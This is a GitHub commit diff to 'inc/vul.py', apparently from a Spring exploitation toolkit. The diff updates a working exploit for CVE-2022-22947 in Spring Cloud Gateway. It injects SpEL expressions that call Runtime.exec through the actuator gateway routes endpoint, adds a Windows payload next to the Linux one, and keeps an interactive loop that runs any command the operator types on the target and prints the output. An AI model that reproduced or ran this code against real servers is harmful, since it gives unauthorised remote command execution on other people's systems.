Skip to content

Commit 60fddce

Browse files
authored
Update vul.py
1 parent 6c1549b commit 60fddce

File tree

1 file changed

+50
-27
lines changed

1 file changed

+50
-27
lines changed

inc/vul.py

Lines changed: 50 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -138,7 +138,8 @@ def CVE_2022_22947(url, proxies, header_new):
138138
}
139139
headers1 = json.loads(str(JSON_handle(oldHeader_1, header_new)).replace("'", "\""))
140140
headers2 = json.loads(str(JSON_handle(oldHeader_2, header_new)).replace("'", "\""))
141-
payload = '''{\r
141+
vul_status = 0
142+
payload_linux = '''{\r
142143
"id": "hacktest",\r
143144
"filters": [{\r
144145
"name": "AddResponseHeader",\r
@@ -148,43 +149,65 @@ def CVE_2022_22947(url, proxies, header_new):
148149
"order": 0\r
149150
}'''
150151

151-
payload2 = '''{\r
152+
payload_windows = '''{\r
152153
"id": "hacktest",\r
153154
"filters": [{\r
154155
"name": "AddResponseHeader",\r
155-
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"whoami\\"}).getInputStream()))}"}\r
156+
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"dir\\"}).getInputStream()))}"}\r
156157
}],\r
157158
"uri": "http://example.com",\r
158159
"order": 0\r
159160
}'''
160161

161162
try:
162-
requests.packages.urllib3.disable_warnings()
163-
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload, headers=headers1, json=json, timeout=10 ,verify=False, proxies=proxies)
164-
re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
165-
re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
166-
if ('uid=' in str(re3.text)) and ('gid=' in str(re3.text)) and ('groups=' in str(re3.text)):
167-
cprint("[+] Payload已经输出,回显结果如下:", "red")
168-
print('\n')
169-
print(re3.text)
170-
print('\n')
171-
print("[+] 执行命令模块(输入exit退出)")
172-
while 1:
173-
Cmd = input("[+] 请输入要执行的命令>>> ")
174-
if Cmd == "exit":
175-
re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
176-
re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
177-
sys.exit(0)
178-
else:
179-
payload3 = payload2.replace('whoami', Cmd)
180-
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload3, headers=headers1, timeout=10, json=json ,verify=False, proxies=proxies)
181-
re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
182-
re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
183-
result = re3.text
184-
cprint(result ,"green")
163+
if vul_status == 0:
164+
cprint("[+] 正在发送Linux的Payload","green")
165+
requests.packages.urllib3.disable_warnings()
166+
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_linux, headers=headers1, json=json, timeout=10 ,verify=False, proxies=proxies)
167+
re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
168+
re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
169+
if ('uid=' in str(re3.text)) and ('gid=' in str(re3.text)) and ('groups=' in str(re3.text)):
170+
cprint("[+] Payload已经输出,回显结果如下:", "red")
171+
print('\n')
172+
print(re3.text)
173+
print('\n')
174+
print("[+] 执行命令模块(输入exit退出)")
175+
vul_status = 1
176+
else:
177+
cprint("[.] Linux的Payload没成功,清理缓存","green")
178+
re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
179+
re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
180+
cprint("[+] 正在发送Windows的Payload","green")
181+
requests.packages.urllib3.disable_warnings()
182+
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_windows, headers=headers1, json=json, timeout=10 ,verify=False, proxies=proxies)
183+
re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
184+
re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
185+
if ('<DIR>' in str(re3.text)):
186+
cprint("[+] Payload已经输出,回显结果如下:", "red")
185187
print('\n')
186-
else:
188+
print(re3.text)
189+
print('\n')
190+
print("[+] 执行命令模块(输入exit退出)")
191+
vul_status = 1
192+
if vul_status == 0:
187193
cprint("[-] CVE-2022-22947漏洞不存在\n", "yellow")
194+
re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
195+
re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
196+
while vul_status == 1:
197+
Cmd = input("[+] 请输入要执行的命令>>> ")
198+
if Cmd == "exit":
199+
re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
200+
re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
201+
print("[+] 删除路由成功")
202+
sys.exit()
203+
else:
204+
payload_new = payload_windows.replace('dir', Cmd)
205+
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_new, headers=headers1, timeout=10, json=json ,verify=False, proxies=proxies)
206+
re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
207+
re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
208+
result = re3.text
209+
cprint(result ,"green")
210+
print('\n')
188211
except KeyboardInterrupt:
189212
print("Ctrl + C 手动终止了进程")
190213
sys.exit()

0 commit comments

Comments
 (0)